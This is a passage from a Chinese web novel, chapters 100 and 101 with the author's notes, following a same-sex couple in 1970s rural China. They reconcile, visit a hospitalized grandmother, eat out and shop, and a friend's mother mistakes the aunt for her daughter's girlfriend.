温淼的腿都在发软,最后被迫坐在了季白青的腿上,睫毛湿漉漉地垂下,下巴上糊满受不住的涎液。 亲得好像有些太过了……她恍惚地想。 门突然被打开,何香月的声音传来。 “白青、淼淼,你们说完……”看清楚屋内的景象后,何香月捂住臊红的脸,瞬间退出房间,将门带上。 噢哟,原来是还在腻歪,就说怎么那么久都还没有出来。 都在一起这么久了,还能这样,这也太腻歪了吧。 一直到门被关上,屋内的两个人才反应过来。 季白青将温淼放开,抵着她的额头,看她羞怯的眼轻笑一声。 “不是说我是你的,怎么才被看到就那么害羞?” 其实温淼跨坐在季白青腿上,所以何香月大概是什么都没看清。 感受着对方呼吸带出来的温热气息,温淼抿唇,轻推她一下,将头埋在她胸前。 “都怪你。” 季白青拿了手帕给她擦掉脸上的湿痕,见她的发顶毛茸茸,伸手摸了摸,过了好一会儿才开口: “蓁蓁,起来。” 温淼抬头,拧眉有些委屈地看她。 抱一下她都不可以吗? 季白青解释:“你压着我肚子了,上午才被踢过,疼疼你老婆,嗯?” 闻言,温淼的眼睛瞪大,瞬间记起来她小腹上还有伤。 她站起身,“你先等等,我去把姑姑叫来看看。” 说完她立马出了门,季白青站起身,对着镜子看了看脸。 果然,和温淼的一样红,唇还很肿,一看就知道刚才干了什么。 温淼大概会因为红肿的唇瓣被温如嫣揶揄了。 被亲成那样一点都没有意识到吗?笨。 【作者有话说】 不给亲但还是亲到了 感谢投雷营养液,感谢评论订阅收藏~[三花猫头] 100 第100章 ◎风花雪月◎ 温淼刚到温如嫣那的时候还没意识到自己的异状,有些心急地对她开口:“姑姑,阿青上午小腹被猪踹了,你快去看看伤势严不严重。” 一直等到发现温如嫣没有动弹,而是将眼神落在她的唇瓣上,温淼一时还有些茫然。 “姑姑……你看我干什么?” 温如嫣见她迷糊的样子,将桌上的小镜子给她,一边收拾要带过去的药物。 “你自己看吧。” 温淼接过镜子,一眼就看见了自己被亲得发肿的唇。 实在是太过明显了。 她一愣,脸颊慢慢攀上红晕,垂在腿边的手也微微蜷起,很不好意思。 过去的路上,看着身边沉默不语明显是害羞了的侄女,温如嫣调侃:“是谁说不可能改变主意的来着?你们村里难道分手之后还能亲嘴吗?” 温淼捂住自己的小半张脸,那双明亮的眸子瞪向温如嫣:“姑姑!” 她有些羞耻。 见状,温如嫣也没再逗下去,只是轻笑一声。 她语气温柔:“既然和好了,之后就别轻易说分手,一切问题都要通过沟通解决,小季是个很好的人,你们两个很相配,知道吗?” 听了这话后,温淼的眼睛一红。 “知道了姑姑,我以后不会再这样了。” 温如嫣揉揉她柔软的发丝。 “想清楚就好。” 到了季家,见着季白青的时候,她提前收拾了一番,除了唇瓣依旧有些肿,倒也看不出来什么不妥。 和温淼刚才截然不同。 面对温淼的怒视,季白青摸了摸鼻尖。 温如嫣看了看她的伤口,检查一番后呼出一口气。 “应该没有伤到内脏,今天先冷敷看看,明天带娘去医院检查,小季也顺带检查一下。” 季白青点头。 闻言,站在她身边的温淼轻拧她的腰,有些生气。 上午让她不去检查!还拖到了现在! 说完注意事项后,温如嫣没再多留,除了房间,留给两人独处的空间。 季白青微微低头,在她的脸颊上亲了一口。 “好蓁蓁,不生气。” “如果不是因为这伤,你说你还会愿意不分手吗?” 温淼抿住唇,不说话了。 到底还是因为太过担心季白青身上的伤,她才终于敢直面自己内心的意愿。 她低头,让季白青躺在床上睡好,她打井里清凉的水上来,打湿毛巾帮着季白青冷敷。 十几分钟后,将热了的毛巾拿走,有些担心询问:“现在好点了吗?” 腹部的疼痛确实因为过低的温度缓解,季白青点头,正准备起来,又被温淼拦住。 “你先躺着休息。” 季白青:“……蓁蓁,我饿了。” 心里一直想着的事被解决,她也有了吃饭的心情。 温淼才猛然想起,面前的人今天一整天都没怎么吃东西。 她只好说:“那你先休息,我去给你盛饭端进来。” 说着,没等季白青回复,她就出了房间。 季白青:“……” 她心里有些莫名。 这种感觉在温淼回来后她要自己吃饭却被拒绝,而后被女人一勺一勺喂着饭菜的时候越发浓烈。 她这时候怎么那么像是精神障碍人士和她那不离不弃的妻子啊! 季白青沉默一瞬,做出最后的挣扎:“我只是伤到了肚子,不是伤到了腿,让我自己吃吧。你吃饭了吗?” 温淼再次拒绝:“你最好少动,多休息,我吃了。” 季白青遂放弃。 饭吃到最后,看着温淼认真的眉眼,季白青弯唇一笑。 将最后一口饭塞进她嘴里,温淼问:“笑什么?” 就听见对方眉眼弯弯地回答:“只是觉得现在很幸福。” 温淼也翘起了唇,眼里却蒙上了一层雾气。 “以后再也不说分手了……” 季白青抓住她的手摇了摇头,“虽然我不希望有这天,但是如果哪天你不爱了,讨厌我了,你还是可以提出分手,只是不要因为觉得为了我好而分手。” “没有你在,我一点也不好。” 温淼将眼泪憋回去,认真地点了点头。 “阿青,我知道了。” 她倾身在季白青脸侧轻啄一口,细声道:“不会不爱你。” 一直很爱。 季白青扬唇,言笑晏晏:“知道啦,我也爱你。” 温淼被她温柔地看着,手指微蜷,此时此刻突然生出几分不合时宜的害羞。 “哦。”她轻声道。 “我去把碗给洗了。” 看着温淼出房间,季白青的手腕挡在眼上,这才轻笑出了声。 谈恋爱一年多了,怎么还这么害羞? 明明刚才按着她接吻的时候并不是这副情态。 真是太过可爱。 怕温淼羞恼,在她回来之前季白青勉强制住了笑,只是唇边还带了几分笑意。 温淼回到房间后,见她扬起的唇还有些莫名。 季白青对她拍了拍床内侧:“留下来睡吗?还是回去?” 温向荣还在家,也不知道会不会等她回去。 也就犹豫了几秒,温淼果断道:“留下来。” 季白青阖上眼睛,灯泡的光打在她脸上,纤长的睫毛在眼下投出淡淡阴翳,这样还难以掩饰她眼下的青黑。 温淼盯着那处看了看,最后将灯关上,慢吞吞上了床。 她侧过身去,抱住季白青的手臂,轻声询问:“为什么失眠?” “不许撒谎。”她警告道。 季白青本身也没有要撒谎的想法,如实回答:“失眠是因为你不在身边。” 说到这,温淼突然想起先前在床上看到的她的衣服。 黑暗中,女人的耳垂发热,声音也小了几分,将季白青的手臂搂紧。 “你拿我的衣服干什么啊?” 季白青一愣,也想到了当时温淼害羞的神色,反问道:“你以为呢?” 她清了清嗓子:“是不是以为我在闻着它干不好的事情?自我抚……” 最后一个字还没有说出口,她就被羞得全身都通红的女人捂住了嘴。 温淼的身体压在她的胸膛,柔软处与她的相接触,幽幽暖香从四处汇聚到季白青的鼻尖。 季白青只觉得好香。 “不许再说!”温淼细白柔软的手捂着她的嘴,脑海里回荡着刚才对方所说的话。 闻着衣服……怎么可以那样?!而且……她才没有那么认为! “唔唔……不说了。” 艰难挤出一句话,女人过了好一会儿才将捂着她的手放开。 季白青嗅着四周越发浓郁的香气,惬意地眯起眼睛。 “我可没有像你刚才想的那样做哦,只是单纯地闻到一点你身上的味道才能睡而已。” 更何况当时她脑中第一世的记忆占了主导,那是的她尚为青涩,怎么可能做出那种事。 现在倒是还有几分可能…… 青年的声音懒洋洋的,带了几分餍足,像是一头刚进食完的母豹。 温淼声音懊恼:“我才没有想那种!” 都是季白青说那种话才让她突然想偏了。 见她像是要炸毛,季白青没再继续逗下去。 “好了,知道你没想了。” 温淼不大高兴地转过身去背对着季白青,想着她的话又有些好奇,没骨气的转回来问她:“为什么没闻到我身上的气味睡不着?现在你能睡着了吗?” 季白青将这一行为归结于安全感的缺失。 只有熟悉的味道才会让她知道,自己的爱人还在自己的身边。 不过她没有回答温淼的前一个问题,只是道:“现在已经困了。” 她打了个秀气的哈欠。 听着她的动静,温淼也安静了下来,给她哼着先前被她哄睡的安眠曲。 “宝贝早点入睡……” 没多久,就听见了对方绵长平稳的呼吸声。 睡着了。 温淼朝她靠近,也困顿地阖上了眼。 两人都睡了一个久违的好觉。 第二天,温淼竟然难得比季白青醒得早。 看她恬静柔和的睡颜,温淼弯起眼睛,唇瓣贴在她脸颊上,一触即分。 她轻手轻脚地起床,没有打扰季白青,洗漱完后回到房间,坐在镜子前扎头发。 刚将随意挽起的长发放下,正准备梳开,肩上就搭上了一只手。 季白青弯下身,两张同样出众的脸出现在镜面上。 将她的长发在手指上绕了绕,季白青弯唇:“我帮你扎头发。” 小半年的时间都花在忙碌上,两人确实没有以前腻歪了,季白青觉得既然事情解决了,那往后便需要多一些时间风花雪月。 认真垂下眼眸为她编发,黑色的柔顺长发被她灵巧地编织。 温淼从镜子里看清那双节骨分明的白皙手指在自己的发丝间穿梭,没忍住也弯起了眼睛。 季白青最后将编好的头发往她的胸前一拢,又别上了一个珍珠发卡,满意地收回手。 她夸:“蓁蓁特别漂亮。” 温淼眼睛明亮,抿着唇瓣笑的时候带了几分羞赧。 趁着她换衣服的空隙,季白青随手给自己扎了个同款,不过没有温淼的那么细致,柔顺垂在脑后。 温淼穿了条藏青色的长裙,裙摆到小腿的长度,缀着细碎的流苏,走一步流苏便悠悠地晃。 这条裙子她们有同款,只是季白青的那条是黑色。 只是今天去医院检查,温淼给她找了一套柔软舒适的套装。 为了避人耳目,一大早,温如嫣就骑着自行车带温向荣去医院了。 季白青和温淼慢悠悠吃完了早饭,这才往村口走。 没有车,只能坐牛车去。 牛车晃晃悠悠地缓慢前行,花了半个多小时总算是到了镇上。 季白青做完了检查,等结果的时间和温淼一起去了住院部那边。 温向荣的检查结果已经出来了,小腿处的骨折是长骨骨折,虽然拖到现在的时间有点久,但好在还没有完全错过治疗。 只是这样的情况还是需要住一段时间的院。 过去的时候,医生已经给温向荣调整了骨折端位置,用夹板固定住腿部。 温如嫣怕她在病床上待着无聊,出去给她买了一份报纸。 季白青看了眼病房,房间不大,一共摆了三张床,有一张空位,在温向荣的隔壁是个膀大腰圆的大婶,此时与温向荣相谈甚欢。 “这医院住着就是没有家里舒坦,不过我闺女就是不肯让我出院。” 温向荣在一边十分赞同地点头:“我看我们的伤都没多严重,其实根本没必要住院。” 季白青看了眼大婶手上的石膏,再看了眼温向荣腿上的夹板,嘴角抽了抽。 最后温淼也听不下去,开了口:“奶奶,婶子,你们的伤都这么严重,还是在医院好好呆着吧,等好了再出院。” 大婶闻言笑呵呵地应下,看了眼温向荣床边的三个女人,问道:“这是你女儿和两个孙女?长得可真俊俏。” 温向荣点头,单独挑出季白青来:“这可不是我孙女,这是我孙女媳。” 大婶还是第一次听说孙女媳这种说法,再一看温淼和季白青亲昵弯起的手臂,瞬间明了。 她恍然大悟地点头,对她们竖起大拇指。 “看着就是天造地设的一对!” 温淼听了这话,唇边的笑意加深,也加进去两人的谈话,来往三两句话,就将大婶的信息套清楚了。 见三个人相谈甚欢的模样,季白青和温如嫣无奈地对视一眼。 两人出了病房说话。 “姑姑,奶奶住院这一段时间怎么照顾?我和淼淼这段时间也没什么事,不如我们来照顾吧。” 温如嫣闻言点了点头:“那我周末休假的时候过来,娘住两个礼拜的院,消肿之后就回去修养吧。” 在家里到底是方便一些。 两人商量好,突然想起什么,季白青道:“医院的病号餐味道不太好,我镇上有个朋友,离医院挺近的,如果有需要的话可以去借用一下厨房。” 温如嫣点头,眸中浮现出几丝笑意,猜测:“是小敏?” 季白青有些诧异:“姑姑,你认识尚厂长?” 温如嫣点头,“上次来医院和蓁蓁一起遇上过。” 她倒是没有说出上次的误会,毕竟先前还以为两人是情敌。对尚敏颇有敌意,这么一想,还有些愧疚。 闻言,季白青一合计。 “那我们今天中午一起去国营饭店吃个饭,叫上尚敏,上次借了她的厨房还没有当面感谢。” 这两个礼拜还可能要再麻烦几次。 今天恰好是休息日,问了温如嫣和温淼的意见后,季白青骑着车去尚家。 尚敏听了她说要请吃饭的话,倒也没有推拒,去之前拿了一罐麦乳精,又拎了一兜子鸡蛋,先是上医院探望了老太太后才准备和她们一起去的国营饭店。 四个人到地方的时候还早,国营饭店里没有多少人。 挑了个好些的位置,季白青和温淼一起去看今天的菜单。 有油焖大虾、凉拌猪头肉、烧茄子和清炒豆角。 国营饭店的价格不算实惠,但分量却很多,四个菜也许吃不完。 犹豫了一会儿,季白青还是把每个菜都点了一碗,找服务员拿了个盘子,准备吃之前先拨一部分出来带回去,以免吃不完浪费。 又点了三碗米饭、一碗面条和一个菠菜鸡蛋汤,付了钱后她们回去等着上菜。 她们离开的时候,尚敏和温如嫣面对面坐着,不太相熟的人多少有几分尴尬。 不过也就沉默了一会儿,温如嫣最先开始挑起话头:“小敏,上次开的药有效果吗?最近还会失眠吗?” 尚敏露出个腼腆的笑,感激地开口:“喝了姑姑你开的药之后好多了。” 温如嫣轻轻一笑,声音和缓:“那就好,其实很多时候工作太忙碌,精神高度紧张就容易失眠,所以无论再忙,都要抽出一点时间喘一口气。” 温如嫣的声音很温柔,语速不急不缓,像是泉水缓缓淌过心间,尚敏听着觉得很舒服,面对她不自觉变得放松了些。 聊了没多久,季白青她们就回来了。 四个人聊着近况,时间过得很快,没多久菜就陆续被端上来了。 季白青将面条放在温淼身前,去拿了四个小碗和汤勺给她们盛汤。 今天的菠菜鸡蛋汤虽然便宜,但里面的蛋花是实打实的,和后世一捞全是汤的不同。 她喝了一口,味道清爽。 见温淼正在剥虾,季白青随便扒拉几口垫了垫肚子,夹了几只虾帮她剥。 她的动作灵活,白皙手指翻飞间将红嫩的虾肉剥了出来,放到温淼的碗里。 拨了小半碗后,她才收了手,去后厨借了水将手上的油污洗干净。 刚在凳子上坐下,温淼夹了只虾喂她,声音软甜:“谢谢阿青。” 季白青弯着眼咬下。 虽然不大爱吃虾,但是女朋友喂的必须吃。 温如嫣早就习惯了她们这般腻味,抬起眼的时候见尚敏盯着她们,还以为是她也想吃虾但不想脏手。 便也给她剥了几个,放进她碗里。 “吃吧。”她柔声道。 尚敏一怔,脸颊微红,有些不好意思。 “谢谢姑姑。” 听着这个称呼,季白青一言难尽地看了她们一眼。 一个28岁,一个31岁,尚敏管温如嫣叫姑姑? 叫姐姐还差不多。 她也给尚敏夹了块猪头肉,“尚厂长,多吃点。” 一顿饭吃到最后果然如季白青所想的那般,分量这么多的菜果然吃不完。 好在她提前弄了些出来,将温淼碗里剩下的那点面条给吃了,挑了桌上剩下的荤菜吃完,这才准备回去。 季白青看了尚敏一眼,突然想到什么。 “尚厂长,这两周奶奶住院,能去借一下你家厨房吗?” 尚敏笑:“这么客气干什么?直接上门就行,我娘爹平时都在家,回去我和她们说一声。” 季白青:“那这段时间就麻烦你们了。” 她们吃完还要回医院,尚敏没有多留,骑车回去了。 温如嫣回了病房陪温向荣,季白青和温淼一起去等上午的检查结果出来。 好在最后小腹上的伤没有波及内脏,只需要回去按时擦药,等着淤青散去便行。 听医生这样说,温淼松了口气,买上开好的药后两人去了趟供销社。 原本只是打算买些吃的,去付款前季白青还是拉住了温淼。 “去二楼看看。” 从温向荣出事之后,她就记得温淼好像很久没有买过新衣服了。 这小半年花出去的钱虽然不少,但她手里也还有些钱和票,刚才往上一瞟,发现楼上的成衣颜色似乎多了些。 温淼听出来她话里的意思,最后还是拒绝了。 “不用,已经很多衣服了。” 季白青拉她上去,“再多也不是新的,总会看腻的,乖,我们去看看。” 到了楼上,最后发现成衣的颜色和款式确实多了不少。 趁着温淼在看衣服的空隙,季白青给温向荣选了两套棉质的套装,方便她在医院替换,又给何香月和季伟各自买了一套。 温淼虽然嘴上说不用买,但却还是看上了一条黄色印花的轻薄长裙。 见她驻足看了好一会儿,季白青问:“喜欢这个?” 温淼点头,在身上比划了一番。 她本就白,黄色衬得肤色越发莹润。 季白青夸:“特别好看,买下吧。” 温淼有些犹豫:“会不会太扎眼了?” “嘶,”原本季白青还想要看她意愿,不干扰决定,但是听了这话后她立马道:“不会,买吧,特别适合你。” 不过是一件衣服而已,哪有这么多顾虑。 如果有人背后议论被她听到了,那她将人揍一顿就老实了。 看着优雅动人的裙子又不出格,只是颜色比较出挑而已。 她随手拿了一件挨着的红色印花的长裙:“买,我和你一起穿。” 温淼垂眸一笑,没有拒绝,勾着她的尾指和她一起下去付款。 售货员给她们结账的时候,还和她们聊了几句。 “好久没见着你们了,同志。” 看了眼手下红色印花的裙子,她有些诧异:“这是要结婚了吗?” 季白青怎么也没想到会引发这种误会,她愣了会儿,随后笑着回答:“还早着呢,真到时候请你吃喜糖。” 售货员脆生生应下,还用自己的员工价给她们打了个折。 拿着买好的东西出门,季白青载着温淼回去。 抱着季白青的腰坐在后座,温淼的脸贴上去,在想刚才售货员说的话。 结婚。 她抿了抿红唇,不自觉将人抱紧了一些。 她好像……真的有点想要结婚了。 想做季白青的妻子。 光是想着,她就忍不住唇边的笑。 但是季白青现在会愿意结婚吗?如果愿意的话,为什么还没有把戒指给她呢? 温淼胡思乱想,丝毫没有意识到两人也就昨天才刚刚和好,哪能这么快。 到了家,季白青将脚撑蹬下,扭头看身后的温淼。 “蓁蓁,还发什么呆?到家了。” 温淼这才跳下车。 季白青将自行车停在屋里,将何香月她们的衣服放在她们房间。 【作者有话说】 点了一杯西瓜生椰冷萃,少糖难喝到怀疑人生,太甜了,大家不要轻易尝试…… 咖啡喝了几口,昏昏欲睡,挺不住了[爆哭] 感谢一下投雷和营养液,感谢评论订阅收藏。 明天就进山里了,之后两天要去调研采访,可能不太抽得出时间写,所以最近都是六千,等我回家之后再加更 100-110 第101章 ◎回去亲◎ 将从国营饭店带回来的菜放到篮子里装着吊在井水上方保存,季白青又将她和温淼今天在供销社买的裙子给洗了晾上,这才空闲下来。 季伟的腿还没好,现在还需要在家里继续休息,大概还有好几天的时间才能继续上工。 因为分配任务过重造成的伤情在前,李向东也承担一部分责任,所以即使他心里有意见也只能憋着。 毕竟现在季家的情况和前段时间相比,也有所不同,没有了温淼奶奶黑五类的那一层身份在,季家不能再被他随意捏圆搓扁了。 何香月实在是被他突然受伤给吓怕了,耳提面命让季伟少动弹,在家里好好养伤。季伟是闲不住的性子,只能闷头坐在门口的树下做木工。 何香月自己倒是吃了午饭就上了山,和老姐妹们一起摘了不少八月瓜和野葡萄回来。 回屋后,见着季白青和温淼都回来了,她关切询问:“温婶子的情况怎么样?” 温淼道:“婶子别担心,奶奶没检查出什么大问题,住一段时间院就可以回来修养了。” 闻言,何香月后怕地拍了拍胸脯,呼出一口气:“没事就好,没事就好。” “正好今天刚摘了葡萄和八月瓜,现在新鲜着呢,山上还很多,过几天又成熟了,淼淼和白青下次去探望婶子的时候别忘了提前告诉我,我再去山上一趟,带过去给温婶子甜甜嘴。” 闻言,季白青有些无奈:“大热天的,哪里需要你还专门选这么热的时段去山上,小心中暑了。” 听季伟的说法,何香月一吃完饭没多久就上山了,下午一两点刚好是一天中最热的时间,太阳能把人晒得脱一层皮。 温淼点头,也和季白青一起劝她:“是啊婶子,我们自己上山就行,要是你真想去的话还是等着太阳小点再去,不然很容易中暑。” 何香月嘿嘿一笑,“知道了知道了,下次不会了。” 她摆了摆手,将晒干的衣服收进屋里。等到看见在她屋里床上放着的崭新衣物后立马出了房间,嗔怪地看了两人一眼。 “我和老季都快有一柜子的衣服了,怎么还给我们买!” 温淼买衣服的时候会给她们买,季白青赚钱之后,也陆陆续续将家里缺*少的物件置办好了,也给她们添置了不少衣物。 温淼笑眯眯道:“这是我和阿青孝顺你们的,婶子和叔就收下吧。” “更何况村里其她婶叔想要都没几个能有呢。” 何香月摸了摸衣服的料子,到底还是喜欢的,只是有些心疼那钱。 但随后一想,温淼说的话确实在理,想到前段时间对她们家冷嘲热讽的那些村民,她顿时没再犹豫。 何香月哼了一声,一手叉着腰:“淼淼说的对,待会儿我就去把这衣服给洗了,让老季明天和我一起穿着出去村口转一圈!” 叫她们狗眼看人低! 闻言,季白青和温淼对视一眼,眸中都如出一辙地带了几分笑意。 何香月一向是这样风风火火、不肯吃一点亏的女同志。 季白青愿将其称为楷模。 下午也没什么事,两人便去了新房那边,将三个房间用过的床单都拆下来准备清洗一番,凉席也需要刷刷。 在河边,将最后一床搓好的床单拧干放进桶里,季白青问温淼:“今晚想睡哪?” 两个屋都有她们的房间,以前闹别扭分开住还好,现在和好了小情侣肯定是要继续睡一间屋子的。 季白青觉得睡哪都无所谓,主要是看温淼的意愿。 温向荣不在家,也不用一定住在新屋那边打掩护。 想了想新房所蕴含的的寓意,温淼的眼睫一颤,没有多做犹豫,很快回复道:“就在老家那边睡吧。” 新房她们虽然也住过一段时间,但是因为先前各自心里带着隔阂,又有分手那一层原因在,两人还从来没有一起在新房睡过。 在新房的主卧里一起睡这件事对温淼来说又有着格外不同的寓意。 或许……结婚之后会更合适 季白青倒是没有猜到对方心里弯弯绕绕的想法,听了温淼给出的答案后便点了点头。 洗好了床单和凉席,挂在院子里,不过是一下午就烘干了水分,晾干后将不需要的收进柜子里,又给房间再铺上凉席,她们锁好新屋的门,准备再去河边抓两条鱼。 养两天,到时候炖了给温向荣补补身体。 水冰冰凉凉,踩下去一身的热意都散了几分。 温淼捞着裙摆,不想打湿裙角,便没动手,看着季白青熟练地抓了两条大鱼。 见她一手抓着一条鱼,温淼眉宇间狡黠一闪而过,随后使坏地往季白青的脸上撩水。 一时不察,水珠扑在脸上,打湿鬓角的碎发,就连纤长睫毛上都挂上了两滴水珠。 季白青眯着眼睛晃了晃头,水珠甩下。 她斜着眼看了眼温淼,磨牙道:“坏女人。” 将两条鱼用衣摆兜住,季白青作势要去泼她。 见温淼紧紧闭上了眼也不知道跑,季白青一步步靠近,路过她时屈指弹她额头。 “笨。” “不泼你,我们现在回去了。” 将鱼放进鱼篓里拿上,温淼见她没打算还手,对她甜兮兮一笑。 “阿青真好!” 一切都是嘴上说得好听,季白青看她一眼,没说话。 金色太阳即将落于高山之后,天空是橙色调,橘色混杂着粉色、红色的霞光普照大地,晚霞倒映在河道,风一掠过,波光粼粼。 回去的时候两人站在高耸古树的荫蔽之下,抬头望向绚丽的霞光。 两人站在一起,十指相扣,温淼微微倚着季白青的肩头,季白青一侧过头去便可以看见温淼琥珀色瞳孔中倒映的璀璨。 她忽然觉得一阵心安。 今年心里有过太多的阴霾,她们好像总是被面前的阻碍与困难遮挡,以至于忽略了很多的能和温淼一起去看的景色。 “蓁蓁。” 季白青轻声叫她的名字。 温淼原本看得认真,听到自己的名字后反应慢半拍地侧过头去看着青年,眸中有些疑色。 怎么了? 季白青扬唇,飞快低头在她鼻尖啄吻一下。 温淼的漂亮眼睛瞬间瞪大,脸颊漫上红霞,左右看了看,见没人才镇定几分。 她一拳打在笑得有些恶劣的人的肩膀上,小声指责:“你讨厌。” 喵喵拳落在身上是轻飘飘的,根本感受不到疼。 季白青讨好似的晃了晃两人相扣的手掌,一阵温热的风恰好在此时吹来,将两人的长发吹得翩飞。 发丝交缠间,季白青突然扣住温淼的后脑勺,低头和她交换了一个温柔缱绻的吻。 霞光照着层层叠叠的树叶,透过缝隙落在两人身上,将她们的发丝和眼睫都镀成淡金色。 画面顿时显得有些神圣。 原本温淼还在担心会有别人来,但她一向喜欢接吻,尤其是这样温温柔柔的频率,轻易就沉浸进去,很快就忘了心中所担忧的。 季白青放开她的时候,她还仰头追着想要索吻。 见状,季白青弯着眼睛,满足她的愿望,在她的红唇上再次亲了一口。 她慢悠悠道:“我倒是不介意和你再亲下去,只是待会儿被人看到……” 温淼睁开水光潋滟的眼,睫毛颤颤,声音是沙哑的软。 “回去亲。” 季白青挑眉,欣然接受。 看来面前的女人还真是接吻狂魔,喜欢接吻喜欢得不行。 虽然她也很喜欢就是了。 面对她带了几分笑意的眼,温淼低头,倒是难得没有炸毛,只是将两人牵在一起的手又晃了晃。 在回去的路上,不用再在乎别人的眼光,也不用再担心被爱人被她人言语中伤,温淼心情带了几分雀跃。 跟个小女孩似的。 季白青看着她,眉眼带笑。 或许一开始两人的路都走错了,她们同时做下自认为为对方好的决定,想要将对方推出泥泞,但最后两人却还是越陷越深,实际上被困在痛苦中的也是两个人。 她们或许合该就是天生一对,不能分开。 所以现在最需要做的便是,学会去信任对方,和对方一起向前走,一起共同面对困境。 这样无论是对温淼还是对季白青,都是最好的一种方式。 她们应该学会向对方坦白、倾诉,最后再讨论出解决问题的办法。 温淼牵着季白青,忽然见人停在了原地,有些疑惑地转过身去和她对视,看着她带着笑意的眼。 她也被感染着笑了出来,随后问:“怎么了?” 季白青故作神秘地摇了摇头。 “不告诉你。” 温淼睨她一眼,作势要将自己的手抽出来。 见状,季白青攥紧,举起两人相握的手晃了晃,“抓的很稳,才不会放开。” 温淼哼了一声,再度询问:“在想什么?” 季白青弯唇,声音轻盈:“在想……好像更爱你了。” 温淼耳尖微红,故作面无波澜。 “噢。” 两人还想说些什么,身后突然传来孙大娘中气十足的声音: “你们俩可真是腻歪,我都在这等了十几分钟了,你俩怎么还没走?!” “来来来,大娘背着柴,快没力了,给大娘我让个道。” 季白青:“……” 也不知道孙大娘到底是从哪里冒出来的。 她揉了揉眉心,无力道:“大娘,我帮你背回去吧。” 她把鱼篓递给温淼,接过孙大娘肩上的柴往家的方向走。 看着温淼跟个小媳妇似的亦步亦趋地跟在对方身后,孙大娘乐呵道: “你们俩感情可真好,就是怎么在外面也那么腻歪,老婆子我都要脸红了。” 季白青侧过头去看温淼红得快要蒸熟的脸,心想,大娘,你还是别说话了。 没看出来温淼脸皮薄吗?头都快埋到地下去了- 周六那天,温如嫣在医院照顾着温向荣,因为有空出来的床位,她当晚便没回去。 第二天一早,去国营饭店吃过早饭后她买了份清淡的粥带给温向荣。 上午还需要输液,温向荣自己能看着,和隔壁大婶也能够相互照应。 她想着国营饭店的饭菜多少都有些辣,想到昨天季白青说的话,心里有了打算。 她先去买了些菜,又买了兜点心,这才根据尚敏留下来的位置找到她家门口。 去的时候不过是十点多,温如嫣站在门口犹豫一番,最后还是敲了敲门。 门很快被打开,一个脸颊圆润富态的妇人来开的门。 这应该是尚敏的母亲。 温如嫣对她温软一笑:“尚阿姨你好。” 尚母看着面前的漂亮女人,顿时愣住。 怎么突然有陌生人上门了 她突然想起昨天晚饭时女儿说的话。 尚敏这两周她可能会有朋友来借用厨房,还专门让她们照顾着。 原本尚母以为她口中的朋友是曾经见过几面的季白青,但是面前的人全然陌生。 她没见过。 这么标志的姑娘见过一面她是不可能记不住的。 女儿的朋友她都是认识的,更何况尚敏一向待人进退有度,熟悉到能带回家的朋友根本没几个。 而女儿的性向她也是知道的,所以面前的人是……女朋友?! 女朋友上门她竟然不在家!尚母内心嗔怪。 尚母脸上瞬间带上了笑容,连忙将门打开:“同志,你快进来!” 亲昵地挽住温如嫣的手臂,她将人带到沙发上坐下,对尚父使了个眼色,“同志,你叫什么名字啊?” 温如嫣也没想到尚敏的母父会这么热情,她一愣,下意识回答:“尚姨,我叫温如嫣。” 温如嫣。 尚母细细品味着这个名字,毫不犹豫夸赞道:“可真好听!” 光是听名字就知道和她家小敏十分登对! 尚父接收示意后很快倒来了一杯水,将水杯放在温如嫣面前。 “喝水,嫣嫣。”尚母的称呼变得很快。 温如嫣端起杯子抿了一口,将水杯放回桌上后,又将买来的点心放在桌上。 她弯唇笑道:“尚姨,这是我在供销社买的点心,不知道合不合你们的口味。” 尚母看了一眼,笑得合不拢嘴。 “来都来了,还带什么东西!” 这姑娘还真是有礼貌! “嫣嫣啊,我们家小敏现在还在厂里,这孩子就是太忙了,老不着家,让你一个人上门。” “你和小敏是怎么认识的?认识多久啦?” 问题越来越不对劲,温如嫣硬着头皮回答:“没事,本来我来就是打扰了,不好麻烦小敏。我和小敏是几个月前认识的,在医院碰上了。” 尚母拍了拍手:“哪有你这么客气的,女朋友上门,小敏本来就应该回来看着的!她那个木头,这点礼数都不懂。” 这句话一出,温如嫣一怔,瞬间明白是尚母误会了。 她无奈一笑,语气柔和地解释:“尚姨,我和小敏不是那种关系。您知道淼淼吗?我是淼淼姑姑,我和小敏就是普通的朋友,今天上门……是来借厨房的。” 闻言,尚母也懵了。 怎么也没有想到温如嫣不是尚敏的对象,她闹了场大乌龙。 看了眼温如嫣,她面上生出几分尴尬,正不知道怎么回复。 温如嫣眉眼弯弯,提她解围:“看来是小敏太久没找个对象让尚姨着急了,回头我就看看有不有合适的女同志,给她介绍介绍。” 她这一番话没让因为误会产生的尴尬继续蔓延下去,尚母哈哈一笑,立马回答:“那感情好啊!” “要用厨房是吧,来,在这。” 尚母把她带到厨房,看她熟练地上煤、切菜这才退出去。 将午饭做好之后,温如嫣将自己和温向荣的那份饭菜装出来,留下够三人份吃的菜。 出来时对尚母开口:“尚姨,我留了一份菜在锅里,今天真是给你们添麻烦。” 尚母嗔她一眼:“这么客气干什么?快都拿去给你娘吃,她还病着呢!” 温如嫣看了眼手里满满当当的饭盒,眉眼间有些无奈。 “真装不下了,而且胃就那么大,吃不完就是浪费了。尚姨,我先走了,下次有机会再见。” 尚母目送温如嫣离开后,去看了眼锅里留下的菜。 炖鸡、清炒豆角和一个蛋花汤,只是单看卖相便觉得好吃。 她坐回客厅,语气可惜地和尚父交谈: “那么好的姑娘,竟然不是小敏的对象,真是可惜了!” 尚父眼都不抬,慢悠悠地回答:“现在不是,努努力就不一定了。” 尚母没好气拍他一巴掌,“这也要看你闺女喜不喜欢啊,而且人嫣嫣也不一定愿意。” 她坐了一会儿,将尚父的话在心里回味几遍,最后还是有些不死心。 “不行,待会儿让尚敏回来吃饭。你去把她叫回来!” 尚父没反驳什么,将手下的东西放下后,就径直骑车去了罐头厂。 尚敏中午下班见到尚父后,还有些惊讶。 “爹,你怎么来了?” 尚父木着一张脸,没有说明缘由:“你娘让我叫你回去吃饭。” 尚敏有些莫名,以为是尚母有什么重要的事要和她交谈,原本打算去食堂的方向一变,回了家。 到家后,看着桌上丰盛的饭菜,她有些诧异。 尚母将碗筷摆好,一家人坐下开始吃饭。 见她夹了一筷子菜吃下,尚母问道:“味道怎么样” 尚敏有些奇怪地看了眼她,如实评价:“好吃,娘的手艺进步了。” 尚母看了她一眼,语气恨铁不成钢。 “这可不是我做的,这是嫣嫣做的!” 见尚敏还有些疑惑,尚母解释:“温如嫣,淼淼的姑姑!” 闻言,尚敏恍然大悟。 “今天姑姑她来了娘,她就是我昨天和你说可能来借厨房的朋友。” 